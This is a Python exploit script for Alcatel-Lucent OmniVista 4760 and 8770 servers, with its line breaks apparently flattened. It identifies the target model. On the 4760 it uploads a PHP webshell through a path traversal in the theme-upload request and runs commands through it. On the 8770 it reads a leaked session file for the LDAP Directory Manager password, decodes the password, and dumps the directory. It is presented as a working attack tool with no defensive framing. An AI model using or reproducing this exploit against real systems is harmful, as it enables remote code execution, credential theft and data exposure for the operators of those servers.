import requests import socket import ldap from urllib.parse import urlparse from urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) class OmniVista: def __init__(self, host): self.host = host self.addr = (urlparse(self.host).hostname) self.folders = ['php-bin/', 'soap-bin/', 'bin/', 'data/', 'Themes/', 'log/'] self.filename = "poc.php" self.webshell = "" def identify(self): r = requests.get(self.host + 'php-bin/Webclient.php', verify=False) if '8770' in r.text: return 8770 elif '4760' in r.text: return 4760 else: return False def checkldap(self): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(10) result = s.connect_ex((self.addr, 389)) if result == 0: return True def info(self): r = requests.post(self.host + 'php-bin/info.php', data={"void": "phDPhd"}, verify=False) if 'PHP Version' in r.text: return r.text else: return False def getpassword(self): r = requests.get(self.host + 'php-bin/Webclient.php', verify=False) id = r.headers['Set-Cookie'].split(";")[0].split("=")[1] r = requests.get(self.host + 'sessions/sess_' + id, verify=False) lenght = int(r.text.split("ldapSuPass")[1][3:5]) password = r.text.split("ldapSuPass")[1][7:7+lenght] return password def decodepassword(self, password): counter = 0 key = 16 cleartext = "" if password[0:5] == "{NMC}": password = password[5:] else: return False for char in password: if 32 <= ord(char): char = chr(ord(char) ^ key) cleartext += char else: cleartext += char if ord(char) != 0: key = counter * ord(char) % 255 >> 3 else: key = 16 counter += 1 return cleartext def connectldap(self): connect = ldap.initialize('ldap://' + self.addr) connect.set_option(ldap.OPT_REFERRALS, 0) connect.simple_bind_s(self.username, self.password) result = connect.search_s('o=nmc', ldap.SCOPE_SUBTREE) print(result) def exploit4760(self): for folder in self.folders: r = requests.post(self.host + 'php-bin/webclient.php', data = {"action": "saveTheme", "themeId": "5/../../{}".format(folder), "themeDate": ""}, files = { "BgImg1": (self.filename, self.webshell, "image/png")}, verify=False) if 'success' in r.text: self.folder = folder return True def exec4760(self, cmd): return requests.post(self.host + self.folder + 'poc.php', data = {"0": cmd}, verify=False).text def autoexploit(self): print('[*] Attempting to exploit on {}'.format(self.host)) self.model = self.identify() if self.model == 4760: print('[*] Model is {}'.format(str(self.model))) self.exploit4760() print('[*] Upload folder is {}'.format(self.folder)) output = self.exec4760("whoami") print('[*] Webshell at {}{}{}'.format(self.host, self.folder, self.filename)) print('[*] Command output: '.format(output)) elif self.model == 8770: print('[*] Model is {}'.format(str(self.model))) self.username = "cn=Directory Manager" self.password = self.decodepassword(self.getpassword()) print('[*] {} password is "{}"'.format(self.username, self.password)) if self.checkldap(): print('[*] LDAP Service is accessible!') self.connectldap() print("Stuff here") else: print("[x] LDAP Service is not directly accessible") return False else: print("[x] Target is not an OmniVista 4760/8770") return False #exploit = OmniVista('') #exploit.autoexploit()